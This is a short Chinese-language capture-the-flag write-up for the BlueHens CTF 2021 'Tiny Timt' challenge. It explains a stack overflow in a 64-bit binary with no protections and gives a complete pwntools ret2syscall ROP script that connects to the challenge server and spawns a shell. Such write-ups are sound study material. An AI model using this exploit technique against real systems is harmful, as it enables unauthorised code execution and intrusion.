BlueHens CTF 2021 --- Tiny Timt writeup
检查下保护机制:
64位的程序,没有开启什么保护,这样就可以写shellcode
ida看下逻辑:
_start调用vuln函数,然后exit,那我们看下vuln:
sub rsp 0x20,说明栈帧大小只有0x20
但是接下来的read,却可以读取0x200个字节,这就造成了栈溢出
这是一个汇编写的程序,注意这一块的内容:
pop_rax_ret,pop_rdi_ret,pop_rsi_ret,pop_rdx_ret,一个不少,看起来像是ret2syscall
但是问题在于,从哪里找到指向"/bin/sh"的指针呢
可以先在bss段写'/bin/sh',然后再调用execve(0,"/bin/sh",0,0)
写脚本的时候,可以把这两个rop分先后顺序,合成一个payload。
利用脚本如下:
from pwn import * context.log_level="debug" context(arch='amd64',os='linux') #sh=gdb.debug("./tiny","b * 0x401041") sh=remote("challenges.ctfd.io",30017) #sh=process("./tiny") pop_rax=p64(0x401000) pop_rsi=p64(0x401002) pop_rdi=p64(0x401004) pop_rdx=p64(0x401006) sys_call= p64(0x401041) def sys_func(rax,rdi,rsi,rdx): return pop_rax + p64(rax)+pop_rdi+p64(rdi)+pop_rsi+p64(rsi)+pop_rdx+p64(rdx)+sys_call payload=b"a"*0x28+sys_func(10,0x400000,0x500,7)+p64(0)+sys_func(0,0,0x400200,0x10)+p64(0)+sys_func(59,0x400200,0,0) sh.sendline(payload) sleep(3) sh.sendline('/bin/sh\x00') sh.interactive()